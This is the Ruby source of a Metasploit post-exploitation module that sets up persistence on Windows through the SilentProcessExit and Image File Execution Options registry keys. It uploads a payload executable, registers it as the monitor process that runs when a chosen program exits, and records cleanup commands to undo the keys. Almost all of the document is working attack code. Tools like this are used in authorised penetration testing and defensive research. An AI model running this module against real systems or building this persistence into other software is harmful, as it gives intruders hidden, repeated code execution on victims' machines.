Windows Silent Process Exit Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Windows::Priv
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Deprecated
  moved_from 'exploits/windows/local/persistence_image_exec_options'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Silent Process Exit Persistence',
        'Description' => %q{
          Windows allows you to set up a debug process when a process exits.
          This module uploads a payload and declares that it is the debug
          process to launch when a specified process exits.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Mithun Shanbhag', # earliest author found
          'bwatters-r7', # msf module
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => ['meterpreter', 'shell'],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2008-06-28',
        'Privileged' => true,
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION],
          ['URL', 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/']
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_config_getenv
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )
    register_options([
      OptString.new('PAYLOAD_NAME',
                    [false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
      OptString.new('IMAGE_FILE', [true, 'Binary to "debug"', nil])

    ])
  end

  def check
    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
    return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)

    return CheckCode::Safe('You must be System to run this Module') unless is_system?

    CheckCode::Appears('Likely exploitable')
  end

  def upload_payload(dest_pathname)
    payload_exe = generate_payload_exe
    write_file(dest_pathname, payload_exe)
    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
  end

  def validate_active_host
    unless is_system?
      fail_with(Failure::NoAccess, 'You must be System to run this Module')
    end

    begin
      print_status("Attempting Persistence on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
    rescue Rex::Post::Meterpreter::RequestError => e
      elog(e)
      raise Msf::Exploit::Failed, 'Could not connect to session'
    end
  end

  def write_reg_keys(image_file, payload_pathname)
    reg_keys = []
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}",
                  value_name: 'GlobalFlag',
                  type: 'REG_DWORD',
                  value_value: 512)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
                  value_name: 'ReportingMode',
                  type: 'REG_DWORD',
                  value_value: 1)
    reg_keys.push(key_name: "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}",
                  value_name: 'MonitorProcess',
                  type: 'REG_SZ',
                  value_value: payload_pathname)
    silent_process_exit_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
    registry_createkey(silent_process_exit_key) unless registry_key_exist?(silent_process_exit_key)
    reg_keys.each do |key|
      registry_createkey(key[:key_name]) unless registry_key_exist?(key[:key_name])
      vprint_status("Writing #{key[:value_name]} to #{key[:key_name]}")
      registry_setvaldata(key[:key_name], key[:value_name], key[:value_value], key[:type])
      unless registry_getvalinfo(key[:key_name], key[:value_name])
        print_error("Failed to set #{key[:value_name]} for #{key[:key_name]}")
        return false
      end
    end
  end

  def install_persistence
    validate_active_host
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
    temp_path = writable_dir
    image_file = datastore['IMAGE_FILE']
    payload_pathname = temp_path + '\\' + payload_name + '.exe'
    vprint_status("Payload pathname = #{payload_pathname}")
    upload_payload(payload_pathname) if write_reg_keys(image_file, payload_pathname)
    @clean_up_rc << "rm #{payload_pathname}\n"
    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{image_file}\" /v GlobalFlag /f\" -H\n"
    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v ReportingMode /f\" -H\n"
    @clean_up_rc << "execute -f cmd.exe -a \"/c reg delete \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{image_file}\" /v MonitorProcess /f\" -H\n"
  end
end